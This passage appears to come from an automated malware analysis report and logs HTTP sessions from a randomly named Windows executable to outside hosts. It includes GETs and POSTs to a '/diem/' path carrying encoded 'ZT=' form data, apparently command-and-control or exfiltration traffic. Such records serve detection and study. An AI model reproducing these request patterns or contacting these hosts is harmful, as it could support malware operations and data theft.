ZT=LdQH5CP2FleS0wn4ywZ7S+KedpkILCVqxqRqleCrvrsxAT1AyKsSABwXpWD2XZm2o2JKbyh5GfeTVlBMYJauSRBEFo+nh0Wl+bhQA0f9r/JpCXcYGlAjxQh8GfgBcxEpzH5F9bdm9PC82FDSqQFYgw836DVqgzprmEhTSenULiO3rM0sW5RyQFU/4NXj7kqAGKFvCuWsJOc6mwI6uGeWCYPKmdZlWCXdR3YzLSqNOxk5S5Qpcytm+B85OK7Jq6tpdB0VF4y6T6rNawY8jHNnNkopqV+4OERVplwCpOsW6yIPW6Z+nU90dfAld5wygdrLGS+VLHfC+ErgUNFdl9HXdumkWAUdRCgvkWMMZddPgmEv5yJhcpPZauXLm3Sh3FpDmtrh6Z7/uoSQx0f4FABNNqfHML/3WQ4GykXUyUzdDH9TK+JiorjLYyT1JVOapkpb4XgVmALwf3qh2lxvUFCRCsuj6Qy65Mqi2AWswpdV3F0SNKsKvnxaog00qLxa1H+kpoT0To8qeCLpCZDSfJTbLiv0P85Xakd2/+iSF/Mxm8yjb3Mj31mCS2ef6lt8VRtKT/8pOiFNYQ7dfSRIM4TAQNL6PT1KL3W6OVnYv/cWmf40DbNY+xWb6IY5+jQXAwY5FctvcK5wXB6DEVKxbeEOf+PHAOQhzlmk2koes5TsfMxbYZHmcfET7cQYnnyxU9/0OUcaE5niBHfj0GwoS/cjW5T5sqPnyssH/hwfTyUzXnnH8UHe1t6Eo83b3koNLMSNmKsxTTploSllYvlt6RRo0YRww97krCYpJSIUaZscTtLC/8eI/ZDc7sDZo7SHGYgqkjbd35PC48m05o6b5CQ8ZqOclnp9HAQRlEbLbCFX684gSWQlBKwNO/TyO+MCeHxbCLi26quAPytR/CmYMHIOFbUO6FlxeYiDv2/atjhxdHnZNMdDuZLd3r7M2dlKUMILf9XWfUXAR3lhrv5bXIaYndeGLw2pUt5UGC/YaxbpOS0NapkJ3 [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49840	103.120.80.111	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:10:56.692476034 CET	443	OUT	GET /3ej6/?ZT=Gf4n60vPMxeL0A+d5GBWdueSYaV7AAF6sYlT7O2otcMNGwtil4ITBlU9iT/EVO+vtwlhWFB1C/mfTw8URcWhMQgTObTwj1m/ib0JAzzbicsZX3cTLGstzzo=&mTkD=Gj2Ti2T0g4 HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.cotti.club Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:10:57.668732882 CET	1236	IN	HTTP/1.1 200 OK Server: wts/1.7.0 Date: Wed, 30 Oct 2024 07:11:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding ETag: "65517fce-1a10" Data Raw: 31 61 31 61 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 63 6f 74 74 69 2e 63 6c 75 62 2d d5 fd d4 da ce f7 b2 bf ca fd c2 eb 28 77 77 77 2e 77 65 73 74 2e 63 6e 29 bd f8 d0 d0 bd bb d2 d7 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 63 6f 74 74 69 2e 63 6c 75 62 2c 22 20 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e [TRUNCATED] Data Ascii: 1a1a<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>cotti.club-(www.west.cn)</title> <meta name="description" content="cotti.club," /> <meta name="keywords" content="cotti.club," /> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <style> body { line-height: 1.6; background-color: #fff; } body, th, td, button, input, select, textarea { font-family: "Microsoft Yahei", "Hiragino Sans GB", "Helvetica Neue", Helvetica, tahoma, arial, Verdana, sans-serif, "WenQuanYi Micro Hei", "\5B8B\4F53"; font-size: 12px; color: #666; -webkit-font-smoothing: antialiased; -moz-font-smoothing: antialiased; } [TRUNCATED]
Oct 30, 2024 08:10:57.668751001 CET	1236	IN	Data Raw: 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 68 74 6d 6c 2c 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 2c 0d 0a 20 20 20 20 20 20 20 20 68 31 Data Ascii: height: 100%; } html, body, h1, h2, h3, h4, h5, h6, hr, p, iframe, dl, dt, dd, ul,
Oct 30, 2024 08:10:57.668764114 CET	1236	IN	Data Raw: 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 32 30 70 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2e 6f 72 61 6e 67 65 62 74 6e 3a 68 6f 76 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c Data Ascii: margin-top: 20px } .orangebtn:hover { color: #fff; background-color: #f16600; } .banner1 h1 { font-size: 48px; color: #feff07;
Oct 30, 2024 08:10:57.668864012 CET	636	IN	Data Raw: 69 7a 65 3a 20 32 34 70 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2e 72 69 67 68 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 Data Ascii: ize: 24px } .right { background-color: #2780d9; height: 100%; width: 320px; position: absolute; right: 50px; top: 0; color:
Oct 30, 2024 08:10:57.668876886 CET	1236	IN	Data Raw: 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 35 30 70 78 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 Data Ascii: } .contact { margin-left: 50px } .contact p { line-height: 40px } a { text-decoration: none; } .t
Oct 30, 2024 08:10:57.668939114 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 66 6f 6f 74 65 72 2d 6c 69 6e 6b 22 20 69 64 3d 22 4a 5f 66 6f 6f 74 65 72 4c 69 6e 6b 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 Data Ascii: <div class="footer-link" id="J_footerLink"> <a href="https://www.west.cn/services/domain/" target="_blank"></a> <span>\|</span> <a href="https://www.west.cn/jiaoyi/" target="_bla
Oct 30, 2024 08:10:57.668945074 CET	72	IN	Data Raw: 74 42 65 66 6f 72 65 28 68 6d 2c 20 73 29 3b 0d 0a 20 20 20 20 20 20 20 20 7d 29 28 29 3b 0d 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: tBefore(hm, s); })(); </script></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49876	217.160.0.60	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:02.927584887 CET	719	OUT	POST /diem/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.solarand.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 199 Connection: close Origin: http://www.solarand.online Referer: http://www.solarand.online/diem/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 33 6d 34 49 52 6b 38 6f 54 33 58 4c 48 71 45 36 66 72 52 62 31 2b 70 77 33 50 6e 44 32 41 79 31 68 62 77 52 54 38 50 56 74 4e 56 68 33 44 56 54 2f 33 51 4a 4b 67 78 6f 43 2b 53 4d 56 75 6d 35 69 6a 4d 54 48 4a 47 32 58 4b 47 7a 77 46 42 68 31 56 32 2f 4b 79 43 4f 41 67 53 72 53 59 6d 58 41 76 6d 53 49 70 6d 32 72 58 49 51 39 47 71 32 4d 31 6c 78 4b 6a 65 47 50 66 75 69 62 38 34 32 68 51 4d 79 2b 6b 56 68 70 33 6e 76 46 6c 36 51 4f 4c 79 58 4e 79 42 72 4e 46 2f 62 74 2b 6c 4d 54 61 75 47 70 4f 74 4c 47 68 79 77 56 79 32 75 34 44 6b 41 4e 43 79 62 30 61 62 6e 56 6a 39 5a 43 67 3d 3d Data Ascii: ZT=3m4IRk8oT3XLHqE6frRb1+pw3PnD2Ay1hbwRT8PVtNVh3DVT/3QJKgxoC+SMVum5ijMTHJG2XKGzwFBh1V2/KyCOAgSrSYmXAvmSIpm2rXIQ9Gq2M1lxKjeGPfuib842hQMy+kVhp3nvFl6QOLyXNyBrNF/bt+lMTauGpOtLGhywVy2u4DkANCyb0abnVj9ZCg==
Oct 30, 2024 08:11:03.747900963 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 30 Oct 2024 07:11:03 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Oct 30, 2024 08:11:03.747917891 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49890	217.160.0.60	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:05.476934910 CET	739	OUT	POST /diem/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.solarand.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 219 Connection: close Origin: http://www.solarand.online Referer: http://www.solarand.online/diem/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 33 6d 34 49 52 6b 38 6f 54 33 58 4c 56 62 30 36 65 49 70 62 38 2b 70 7a 38 76 6e 44 68 51 79 78 68 62 38 52 54 34 57 51 74 37 4e 68 33 68 64 54 2b 30 49 4a 44 77 78 6f 4b 65 53 4e 4e 4f 6e 37 69 6a 42 75 48 4d 6d 32 58 4b 53 7a 77 41 39 68 30 69 43 67 59 79 44 6f 42 51 53 6c 50 49 6d 58 41 76 6d 53 49 71 62 2b 72 57 73 51 39 32 61 32 65 45 6c 32 41 44 65 4a 48 2f 75 69 66 38 34 79 68 51 4d 4d 2b 6d 68 66 70 79 6a 76 46 6b 4b 51 4c 4b 79 57 47 79 42 70 41 6c 2b 63 6b 50 4d 37 65 36 6a 46 6e 75 39 73 4f 51 61 75 64 55 37 30 70 79 46 58 66 43 57 6f 70 64 53 54 59 67 41 51 5a 6f 73 4a 4f 59 4d 55 70 6d 6a 6a 4f 78 66 6e 6e 33 6c 63 36 59 67 3d Data Ascii: ZT=3m4IRk8oT3XLVb06eIpb8+pz8vnDhQyxhb8RT4WQt7Nh3hdT+0IJDwxoKeSNNOn7ijBuHMm2XKSzwA9h0iCgYyDoBQSlPImXAvmSIqb+rWsQ92a2eEl2ADeJH/uif84yhQMM+mhfpyjvFkKQLKyWGyBpAl+ckPM7e6jFnu9sOQaudU70pyFXfCWopdSTYgAQZosJOYMUpmjjOxfnn3lc6Yg=
Oct 30, 2024 08:11:06.297595978 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 30 Oct 2024 07:11:06 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Oct 30, 2024 08:11:06.297638893 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49904	217.160.0.60	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:08.028850079 CET	10821	OUT	POST /diem/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.5 Host: www.solarand.online Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 10299 Connection: close Origin: http://www.solarand.online Referer: http://www.solarand.online/diem/ User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko Data Raw: 5a 54 3d 33 6d 34 49 52 6b 38 6f 54 33 58 4c 56 62 30 36 65 49 70 62 38 2b 70 7a 38 76 6e 44 68 51 79 78 68 62 38 52 54 34 57 51 74 37 31 68 33 53 46 54 2f 56 49 4a 52 67 78 6f 41 2b 53 51 4e 4f 6d 6a 69 6e 74 69 48 4d 71 4d 58 4a 71 7a 78 69 6c 68 39 33 75 67 53 79 44 6f 4b 77 53 6f 53 59 6d 47 41 76 32 57 49 71 4c 2b 72 57 73 51 39 30 53 32 64 56 6c 32 54 54 65 47 50 66 75 75 62 38 34 57 68 54 38 44 2b 6c 4e 50 6f 47 58 76 45 45 61 51 4a 59 61 57 50 79 42 76 48 6c 2b 2b 6b 50 51 6b 65 36 76 76 6e 74 68 57 4f 54 47 75 66 56 47 2f 73 44 68 4a 4e 51 47 70 31 65 2b 32 58 48 38 71 5a 4b 63 6d 4e 4b 74 55 37 6b 72 74 55 51 4f 5a 34 55 68 41 6b 63 62 47 63 50 55 6b 46 39 6e 4d 59 6c 69 73 4f 31 54 6b 33 46 58 56 67 4c 51 2f 4b 78 55 74 73 48 4f 4e 52 32 69 5a 6f 32 42 47 43 53 5a 7a 69 61 58 5a 54 71 6b 4a 31 4d 7a 6d 58 66 76 73 7a 6f 33 6c 59 6d 54 53 68 6a 4a 32 31 37 52 39 4c 4f 4e 54 36 67 78 53 66 75 57 61 76 62 65 42 6d 6e 77 75 44 65 31 35 4f 71 4a 56 52 30 50 54 6a 71 37 57 2b 44 6d 75 62 78 56 [TRUNCATED] Data Ascii: ZT=3m4IRk8oT3XLVb06eIpb8+pz8vnDhQyxhb8RT4WQt71h3SFT/VIJRgxoA+SQNOmjintiHMqMXJqzxilh93ugSyDoKwSoSYmGAv2WIqL+rWsQ90S2dVl2TTeGPfuub84WhT8D+lNPoGXvEEaQJYaWPyBvHl++kPQke6vvnthWOTGufVG/sDhJNQGp1e+2XH8qZKcmNKtU7krtUQOZ4UhAkcbGcPUkF9nMYlisO1Tk3FXVgLQ/KxUtsHONR2iZo2BGCSZziaXZTqkJ1MzmXfvszo3lYmTShjJ217R9LONT6gxSfuWavbeBmnwuDe15OqJVR0PTjq7W+DmubxVpZlULsDwC82wmMV8ud4HRXIeRF0ASXuAfFcv3eIUztgqJsIFUJEOWt36s3CQYQ3Jx8f53sA3X6LbhPyojeYtHy701nsH5MuocqYR15ou3k7A2FZoAVlvRcKHQ+zjDmTnBCSW4PuHbbHtbi6Peasgqhx5M2Vj+bjdh16Al+9fbZdulV/KezxFHoYjoKBELmxdekcsaAn62N5ov7n39lmLbzRZQCDB9sPcTmmYwS2Tpd59dIYLWbNQjgQRyBW5gBHWM3zHHI9hucdTapNmmPTvCSTV3+zps3AoYKxxmxgBrf/CVedXHS372+OzVVi2t05aiQ3xJWJ1BFyk/s+G9gXzgxQLYI7yZe5gjZf9Oy0WyNSPt19ydTyOM9jqK9ORgEHzqgOuF6kexRyYfHR8Ig8Ylh67V+EJNAyfRIJLtRNhgz82RgsdIvLZY4QlNu5mc30gEstH7OoqFUmXBbJ0naGTzOz3+Rjhs+5CymZeqL80X+0xMgVB0+n0/5LyuLH9j12en7LFVdHzK0+RRb0v4IugRgb2xS6XPRvSmQdYec+Lj6Lq58EKMCL141cbBk+NuJ8wHX+JMBw1y70nKZQuq1c+pkSxsV+mGFeM3xB7oIgNauquX90jBOtBTvx+X+HSlo/shGQPXQTnuiyanEruiZncGWal5WD5tUzc9x [TRUNCATED]
Oct 30, 2024 08:11:08.869854927 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Transfer-Encoding: chunked Connection: close Date: Wed, 30 Oct 2024 07:11:08 GMT Server: Apache Content-Encoding: gzip Data Raw: 37 61 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 a5 58 6d 6f db 36 10 fe 3e 60 ff 81 73 b1 60 03 24 5a 6f 96 e4 97 04 c8 9a 0c 29 d0 ac 7b 29 02 6c df 68 89 b2 b4 c9 a2 21 d2 76 d2 61 ff 7d cf 91 72 e2 64 dd d6 26 6d 7c 92 c8 bb e3 3d 77 c7 d3 51 8b af 2e de bd 7e ff eb 8f 97 ac 36 eb f6 ec cb 2f 16 c3 95 b1 45 2d 45 89 11 86 7f 0b d3 98 56 9e fd f2 fe e7 f3 f7 ef 98 cf 2e d4 5a 34 1d eb a5 96 fd 4e 96 8b b1 9b 27 e6 c5 f8 5e 6e b1 54 e5 1d d3 e6 ae 95 a7 a3 a5 28 fe 58 f5 6a db 95 7e a1 5a d5 cf d8 ab aa aa e6 ac 52 9d f1 2b b1 6e da bb 19 7b b7 91 1d fb 45 74 da 63 1a d4 87 fa 06 3c 1b 51 96 4d b7 9a b1 60 ce d6 a2 5f 35 1d dd 8e 06 e3 18 73 46 62 ed b2 d9 fd d7 7a 71 85 ff 47 ea 92 60 73 4b 3a f7 4d 69 ea 19 0b 83 e0 eb 23 ad 8f f5 1d 78 26 90 39 58 e1 b7 b2 32 33 26 b6 46 dd 0f f5 cd aa 3e 8c 8d ce 16 82 d5 bd ac 4e 47 b5 31 1b 3d 1b 8f f7 fb 3d d7 a6 17 46 f1 52 8e e0 c1 f6 74 d4 a9 4a b5 ad da 8f ee 6d 57 7d 29 e1 a1 63 8c b0 46 ef 56 ec 76 dd 76 da a9 1b b4 ed 63 ae fa d5 38 0a 82 60 0c 8e 11 db [TRUNCATED] Data Ascii: 7a3Xmo6>`s`$Zo){)lh!va}rd&m\|=wQ.~6/E-EV.Z4N'^nT(Xj~ZR+n{Etc<QM`_5sFbzqG`sK:Mi#x&9X23&F>NG1==FRtJmW})cFVvvc8`5r=,`$cRVlarUWU,N8X/6h9buDgI^'<U4I/Nxe7Q'&x3y^~18#{#C3gL]:S#>-'d"C#!] {ctkY2/Hx1ai#'d:BBaAIgC@$mEz&30H\|b+&8aiQk%4@@&Lj:`%r@j?<'Xd,M)`AXKHXRk'lu3E^$Cs,<^6OX"qTA%TV@dKa&t2!J%Ps,\O)Mcp^MsH~ajOY^CH(;(vQXdHJ^)EYBdNlVr@"2o1\|@qzj1"x$)a*9EQ7{fumeHL<'+A, alhD4_C)LyT/4tP6Sy/nI,XH~% [TRUNCATED]
Oct 30, 2024 08:11:08.869898081 CET	899	IN	Data Raw: 48 7c e8 87 12 4a b6 70 ed 03 80 8f 42 9b 62 45 0a 45 94 d6 13 9e fe b6 8e 26 e4 0c 4a c3 cf d9 30 61 f4 af 39 65 37 1f cc fe c4 1d 03 00 8f 77 0c 44 61 cf a4 c6 d6 fb 9c 1d b3 8e 00 1a 25 98 9c 6f 4b a8 9f 78 31 76 c7 04 34 b6 d5 12 86 d1 6e c5 Data Ascii: H\|JpBbEE&J0a9e7wDa%oKx1v4nX(3RlCTBhp=5j!Q=Ha9dGSJ=RC=C%HK#;5lL1=TI>5$u`4O"/Ij(X&AQz.}7JQd+EI?2.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49918	217.160.0.60	80	3804	C:\Program Files (x86)\kKRezLukEtomJldoeFBChjEQtNlvuMkWmhpzdXhqjzhwuAoylANH\oDnyHukDVUZk.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 08:11:10.566611052 CET	448	OUT	GET /diem/?mTkD=Gj2Ti2T0g4&ZT=6kQoSQEqBTKFeIgPWItcwMtJ6+nSmUORx6o6L7StlLAM0wJa+kMHFj5rDbCqKJO5phAeVuacSteB2VMr/yCaTx+wFCn7HbSrd9uZdvfw4QtNwXqKd1ZsMRg= HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.5 Host: www.solarand.online Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; TNJB; rv:11.0) like Gecko
Oct 30, 2024 08:11:11.413075924 CET	1236	IN	HTTP/1.1 200 OK Content-Type: text/html Content-Length: 4545 Connection: close Date: Wed, 30 Oct 2024 07:11:11 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 54 52 41 54 4f 20 2d 20 44 6f 6d 61 69 6e 20 72 65 73 65 72 76 65 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 3c 2f 68 65 61 64 3e 0d 0a 20 20 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4f 70 65 6e 20 53 61 6e 73 2c 20 